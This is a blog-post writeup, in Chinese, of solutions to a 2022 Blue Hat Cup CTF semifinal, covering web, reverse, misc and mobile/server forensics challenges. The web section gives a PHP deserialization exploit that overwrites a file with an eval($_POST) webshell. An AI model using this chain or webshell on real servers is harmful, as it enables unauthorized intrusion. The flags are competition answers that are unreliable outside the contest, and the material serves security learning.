第六届”蓝帽杯“全国大学生网络安全技能大赛 半决赛

近期misc刷题主要是流量分析部分 misc流量分析以及蓝帽杯misc部分题目 阅读详情

总榜38,地区第四: )

CTF

web

easyfatfree:

www.zip 下载源码,这又是一道原题,wmctf2020 那个 rce 链子能用,但是因为 disable_fucntion 禁用得太狠了,代码执行也没什么办法,可以直接用 2020ciscn 拿到 easyunserialze 的写文件链子,(没有写文件的权限但是有覆盖文件的权限) 覆盖任意一个 php 文件,然后蚁剑连上就可以拿到 flag 了,因为蚁剑自带绕过 open_basir 的功能,给出 exp 如下https://blog.youkuaiyun.com/mochu7777777/article/details/108327699

<?php
  namespace DB;

//! In-memory/flat-file DB wrapper
class Jig {

  //@{ Storage formats
  const
    FORMAT_JSON=0,
  FORMAT_Serialized=1;
  //@}
  protected
    //! Storage location
    $dir = '/var/www/html/',
  //! Current storage format
  $format = 'self::FORMAT_JSON',
  //! Memory-held data
  $data = array('lib/utf.php'=>array("a'=>'<?php eval(\$_POST['p']); ?>")),
  //! lazy load/save files
  $lazy = TRUE;

  /**
  * Read data from memory/file
  * @return array
  * @param $file string
  **/
}
$jig = new jig();
echo urlencode(serialize($jig));

图片.png
图片.png图片.png

re

babynim

** 大数相除** **
image.png
除数
56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471
image.png被除数

**51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801

a = 56006392793428440965060594343955737638876552919041519193476344215226028549209672868995436445345986471
b = 51748409119571493927314047697799213641286278894049840228804594223988372501782894889443165173295123444031074892600769905627166718788675801
print(b//a)

flag{923973256239481267349126498121231231}

misc

神秘的日志

日志搜索 NTLM,发现有两个
图片.png
图片.png图片.png有两个时间点**
2022/4/17 11:27:06
2022/4/16 17:31:01
**在 security 日志中找到那个时间点的 NTLM,有五个,导出如下

图片.png一个一个 flag 试,发现最后一个 flag 提交正确**
**图片.png
flag:flag{dafd0428f634aefd1ddb26f8257c791f}

取证

手机取证_1

** iPhone 手机的 iBoot 固件版本号:(答案参考格式:iBoot-1.1.1)** **
用盘古石手机取证系统导入 iPhone 文件夹,查看设备信息,找到 iBoot 固件版本号。
**图片.pngflag:iBoot-7429.62.1

exe 分析_1

image.png
将程序拖进微步云沙箱,可以看到启动进程位置
C:\Program Files\Common Files\Services\WmiApSvr.exe

exe 分析_2

拖进 ida 就可以看到导入 dll
image.png
答案是:是

exe 分析_3

用 x32dbg 调试程序
image.png
image.png
查看进程的详细信息就可以找到程序名

exe 分析_4

在微步云沙箱搜索文件的哈希值即文件名
image.png
挖矿程序

exe 分析_5

在虚拟机运行起来,通过 wireshark 看到一个 ip,查询位置
image.png
韩国

APK 分析_01

** 受害人手机中 exec 的序列号是:(答案参考格式:0xadc)** **
用盘古石手机取证系统导入受害人 Android 手机镜像,模糊搜索 exec,找到应用,导出到桌面。
图片.png用 jadx-gui 打开 apk,查看证书,找到序列号。
**图片.pngflag:0x936eacbe07f201df

APK 分析_02

** 受害人手机中 exec 关联服务器地址是:(答案参考格式:asd.as.d)** **
** 使用 Jadx 分析 apk,首先看 MainActivity 主函数,发现有一个 Base64 加密后的密文,解密后得到明文: https://ansjk.ecxeio.xyz
** 分析代码发现这个加密算法是在 t( ) 方法里的,查找 t( ) 方法哪里被引用了,发现没有引用的地方,只能换个思路。t( ) 方法所在的 MainActivity 类继承 h 类,分析 h 类。** **
图片.png
图片.png
** 发现 t( ) 方法在 h 类中是一个抽象方法(没有方法体,只有声明。抽象方法的具体的实现在子类中,即 MainActivity 类里),随后又发现 loadUrl( ) 方法调用了 t( ) 方法。
**
**图片.png
** 说明 loadUrl( ) 加载了 t( ) 里的 https://ansjk.ecxeio.xyz,说明程序的服务器地址就是 t() 方法里的网址。
**flag:ansjk.ecxeio.xyz

APK 分析_03

** 受害人手机中 exec 加载服务器的函数是 :(答案参考格式:asda)** **
根据 APK 分析_02 的分析可知:exec 加载服务器的函数应该是:loadUrl( )
**flag:loadUrl

APK 分析_04

** 受害人手机中 exec 的打包 ID 是:(答案参考格式:adb.adb.cn)** **
根据答案参考格式,猜测 ID 是个网址,将文件拖进 AndroidKiller 里查看,搜索.cn,发现一个网址字符串。
图片.png提交正确。
**flag:W2Anansjy.com.cn

APK 分析_05

** 受害人手机中 exec 的是否有安全检测行为?** **
查找字符串"安全",发现有检测手机 root 的提示,说明有安全检测。
**图片.png
flag:是

APK 分析_06

** 受害人手机中 exec 的检测方法的完整路径和方法名是:(答案参考格式:a.a.a())** **
** 找到字符串,所在方法是所在类 h,分析代码结合 MainActivity 主类中的方法,发现 h 类其实就是 MainActivity,程序将它单独拿出来了,MainActivity( ) 通过继承的方式进行调用,h 类实际是一个开发业务逻辑的类。** **
图片.png
图片.png
** 既然是开发业务逻辑的类,必然有安全检测的方法,分析代码,发现 onCreate() 方法中有安全检测,并有安全提醒的字符串。着重分析 onCreate() 方法中有安全提醒字符串这一部分。分析发现每一个安全提醒的字符串触发都是通过一个 if 判断,这个 if 判断条件里的方法都是 a 类中的方法,怀疑 a 类就是安全检测的类,跟进 a 类。** **
图片.png
** 根据 a 类中的方法名,变量名可知,该类就是安全检测的类。
**
**flag:d.a.a.c.a.a()

APK 分析_07

** 受害人手机中 exec 有几个界面:(答案参考格式:2)** **
一个 APK 每创建一个界面(Activity),都要在 AndroidManifest.xml 中注册,查看 AndroidManifest.xml。
图片.png发现注册了三个 activity,activity-alias 是为 activity 起了个别名,也就是说 com.kmcjrz.bsesai.newActivity 实际指的就是 minmtta.hemjcbm.ahibyws.MainActivity。
**图片.pngflag:3

APK 分析_08

** 受害人手机中红星 IPA 的包名是:(答案参考格式:a.s.d)** **
用盘古石手机取证系统导入受害人 Android 手机镜像,搜索红星,找到文件,导出。
图片.png搜索可知 IPA 是 Apple 程序应用文件 iPhoneApplication 的缩写,简单来说就是 Apple 程序的 APK,实质还是一个压缩包,解压红星.ipa。
**图片.png
IPA 文件解压器解压,得到 ayload 文件,打开 Payload 文件,里面有对应的.app 文件,搜索 info.plist 文件,用 plist Editor 查看,搜索 bundle,找到包名。
图片.pngflag:com.dd666.hongxin

APK 分析_09

** 受害人手机中红星 IPA 的 APIKEY 是:(答案参考格式:asd)** **
在 info.plist 文件中,搜索 APIKEY 找到内容。
**图片.pngflag:d395159c291c627c9d4ff9139bf8f0a700b98732

APK 分析_10

** 受害人手机中红星 IPA 的权限有哪些?** **
在 info.plist 文件中,寻找有关权限内容,发现四个权限申请。
**图片.png
flag:相册,定位,摄像头,麦克风

APK 分析_11

** 嫌疑人手机中红星 APK 的服务器地址是:(答案参考格式:ass.a.d:11)** **
用盘古石手机取证系统导入受害人 Android 手机镜像,搜索红星,找到文件,导出。
图片.png跟据提示要求寻找服务器网址,搜索字符串:“url”,发现与题目格式相一致的网址。
图片.png提交正确。
**flag:www.nansjy.com.cn:8161

APK 分析_12

** 嫌疑人手机中红星 APK 的程序入口是:(答案参考格式:a.v.b.n)** **
用 Android Killer 打开红星.apk,找到红星 APK 的程序入口名。
**图片.png
flag:com.example.weisitas526sad.activity.SplashActivity

APK 分析_13

** 嫌疑人手机中分析聊天工具,服务器的登录端口是:(答案参考格式:12)** **
用盘古石手机取证系统导入受害人 Android 手机镜像,打开应用列表,寻找聊天应用,发现应用 BigAnt5 疑似聊天工具。
图片.png网上搜索可得 BigAnt5 是聊天软件,搜索 BigAnt5 端口号。
**图片.png
搜索可得 BigAnt5 端口号为 6661。
图片.png
flag:6661

服务器取证_05

图片.png图片.png通过观察我博客的宝塔面板,可以发现宝塔下载的软件存在于两个地方,/www/server 和/www/server/panel/plugin 这两个文件夹下,然后出去那几个不是软件的文件,计算出来如下**
**图片.png图片.png
linuxsys webshh mysql nginx php phpmyadmin
答案:6

服务器取证_15

图片.png计算机取证,搜索关键词你好**
在此基础上搜索 怎么充值
图片.png找到一个数据库备份文件,然后导出打开它图片.png搜索关键词找到用户名为
**图片.png答案:hm688

2023年蓝帽杯取证复现 解题过程 阅读详情

相关推荐

[第七届蓝帽杯全国大学生网络安全技能大赛 蓝帽杯 2023]——Web方向部分题 详细Writeup

Web LovePHP 你真的熟悉PHP吗? 源码如下 <?php class Saferman{ public $check = True; public function __destruct(){ if($this->check === True){ file($_GET['secret']); } } public function __wakeup(){ $this->c

Leaf_initial的博客 4852

蓝帽杯2022年半决赛 writeup(附取证题目+解压密码+附件)

无

mumuzi的博客 1万+

第六届”蓝帽杯“全国大学生网络安全技能大赛(半决赛)其他赛题

第六届”蓝帽杯“全国大学生网络安全技能大赛(半决赛)其他赛题

2022第六届蓝帽杯半决赛服务器取证部分wp

2022第六届蓝帽杯半决赛服务器取证部分wp

dazaogege的博客 2058

【MISC】domainhacker2(第六届”蓝帽杯“全国大学生网络安全技能大赛)

【MISC】domainhacker2(第六届”蓝帽杯“全国大学生网络安全技能大赛)

UE4_SpeedTree Shader源码分析

目录 1.UMaterialExpressionSpeedTree::Compile 2.Compiler->SpeedTree 3.GetSpeedTreeVertexOffset 4.Scene中的SpeedTree应用 (Scene->UpdateSpeedTreeWind) 5.GetSpeedTreeVertexOffsetInner 由于之后做风场,也需要在S...

zzgyy123的专栏 2632

2023年第七届蓝帽杯初赛-取证部分

盘古石里查找聊天记录盘古石里查找聊天记录盘古石中可以找到2023-06-21 01:01:25。

weixin_63576152的博客 3937

如何使用Dify 搭建一个用自然语言查询数据库的 Agent?

这样就会发布完毕。

AI Agent 首席体验官 1699

第六届“蓝帽杯”全国大学生网络安全技能大赛(半决赛)其他赛题资源

第六届“蓝帽杯”全国大学生网络安全技能大赛(半决赛)其他赛题资源 去发现同类优质开源项目:https://gitcode.com/ 欢迎来到第六届“蓝帽杯”全国大学生网络安全技能大赛(半决赛)的其他赛题资源仓库!此仓库包含本次半决赛中的其他赛题资源文件,旨在为广大网络安全爱好者及参赛选手提供学习与交流的平台。 此资源文件涵盖了半决赛阶段的其他赛题,包括但不限于题目描述、相关技术和工具使用等内容,帮...

gitblog_06717的博客 273

Spring Boot Admin 完整教程

SpringBootAdmin是一个用于管理和监控SpringBoot应用的Web工具,提供健康检查、性能指标、日志管理等核心功能。系统由AdminServer(管理服务器)和AdminClient(客户端)组成,通过Actuator端点收集数据。配置需添加Maven/Gradle依赖,通过@EnableAdminServer注解启动服务端,客户端需配置注册信息。支持UI自定义、安全认证(基本/OAuth2)、多种通知方式(邮件/Slack)及与Eureka/Consul等服务发现的集成。最佳实践包括分层监

weixin_51040479的博客 2558

【OpenCV】图像的像素直方图 图像特征点 cv::FAST cv::ORB ORB_SLAM2::ORB

文章目录图像直方图代码实现cv::FAST和cv::ORB 检测图像特征点cv::FAST和cv::ORB 检测图像特征点代码实现ORB_SLAM2::ORB和自己实现ORB图像特征点检测效果对比ORB_SLAM2::ORB和自己实现ORB图像特征点检测效果对比代码实现 图像直方图代码实现 图像是由不同数值(颜色)的像素构成的,像素值在图像中的分布情况是图像的重要属性,可以用直方图修改图像的外观,标识图像的内容,检测图像中特定的物体或纹理。 单通道灰度图像中每个像素都有一个 0(黑色)-255(白色)的整

小秋 AI SLAM 入门实战教程 2510

[ CTF ]【天格】战队WriteUp-第六届”蓝帽杯“全国大学生网络安全技能大赛(半决赛)

第六届”蓝帽杯“全国大学生网络安全技能大赛(半决赛)

ZXW_NUDT的博客 4040

Simulink仿真状态空间中状态变量时域响应

起因 今天老师留了一道关于状态空间变量响应的题,于是想用simulink仿真,一开始使用state-space模块,但是发现它只能输出y,没办法显示状态变量的变化情况。然而状态变量之间的关系都可以表示为一阶微分方程组,因此我们考虑在Simulink中搭建微分方程组来求解这个问题。 微分方程组 x1˙=x2x2˙=−4x1−5x2+1(1)\dot{x_1}=x_2\\ \dot{x_2}=-4x_...

ZYunfei的博客 7458

第六届”蓝帽杯“全国大学生网络安全技能大赛半决赛部分WriteUp

蓝帽杯部分wp

mxx307的博客 2317

32位快速加法器设计

32位快速加法器设计

好好学习,天天向上 3290

【制作100个Unity游戏之35】从零开始构建类《月圆之夜》《杀戮尖塔》的卡牌游戏(附带项目源码)

本文介绍了如何从零开始构建类似《月圆之夜》《杀戮尖塔》的卡牌游戏。主要内容包括:1)获取游戏素材资源;2)导入xyframe框架工具集;3)实现手牌弯曲排列效果,通过样条曲线控制卡牌位置和旋转;4)设计可扩展的MVD卡牌系统架构,分离数据层(ScriptableObject存储)、模型层(业务逻辑)和视图层(显示控制)。文中提供了完整的代码实现,并展示了卡牌动态排列的GIF效果演示。

向宇的博客,专注php/web全栈 unity游戏开发,欢迎大家评论纠错 1430

2022第六届蓝帽杯初赛学习

做完之后,发现蓝帽杯是有传承的,但服务器这块还算很熟,请参考大佬的文章。

Tummyiii的博客 736

EUV光源技术路线深度解析

EUV光刻技术的关键瓶颈在于13.5纳米光源的稳定高效获取。主流技术路线从DPP放电等离子体发展为LPP激光等离子体方案,后者通过激光轰击锡液滴实现更高功率输出。新出现的LDP技术综合激光预热与放电优势,虽功率扩展性有限,但为光源技术提供了有益补充。目前LPP仍是唯一通过量产验证的方案,而LDP可能作为过渡技术应用于特定场景。EUV光源的发展实质是能量转化效率与系统可靠性的持续优化过程,各种技术路线的探索共同推动着这一核心工艺的进步。

硬核科技 558

蓝帽杯半决赛火炬木wp

蓝帽杯半决赛火炬木wp

wha1e的博客 605

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目,保存在这里方便以后使用直接下载

pscad IEEE标准系统搭建说明

pscad IEEE标准系统搭建说明,包含典型的IEEE 9节点、14节点、30节点、39节点和118节点系统。内含标准测试系统的原始数据和潮流结果。

2022蓝帽杯半决赛

2022蓝帽杯半决赛

2202_75317918的博客 988

SAP B1中文培訓教材_SDK

公司内部培训资料,对开发工具 ,DIAPI, UIAPI,Add-ON有详细解说

2022第六届蓝帽杯部分题目题解

主要讲述了本团队做出来的题目,如果有错误,大家多多指教

m0_63525319的博客 598

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

2023第七届蓝帽杯半决赛复现——取证部分

挂载检材打开检材中的logs.log文件,可以查看到开始提取的任务时间是 09-11 17:21。

qq_73861475的博客 373

2022蓝帽杯半决赛电子取证(服务器部分)

解压密码7(G?

xydsg的博客 1279

APK启动过程概述

APK启动过程概述 一.apk其实是一个Java程序,所有必须从main函数开始执行。而apk应用的main函数所在的类就是ActivityThread,其main函数就是程序的启动点。apk启动后会马上开启一个消息循环,即通过调用Looper的prepareMainLooper(),创建消息队列。然后创建ActivityThread对象,在这里会创建一个Handler对象(H)用于从消

scholarSu 3610

Android中常用的函数

//安装apk文件 private void installAPK(File file) {   Intent intent = new Intent(Intent.ACTION_VIEW);   Uri data = Uri.fromFile(file);   String type = "application/vnd.android.package-archive";   inte

look85的专栏 896

2023蓝帽杯初赛--取证部分

5万华哥pslist命令2456还是pslist命令(前面一个是pid,后面是ppid)

m0_64787014的博客 2356
上一篇: ctfshow七夕杯2022
下一篇: 第六届“强网杯”全国网络安全挑战赛
Pysnow
博客等级 码龄5年 44粉丝 25原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Pysnow

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值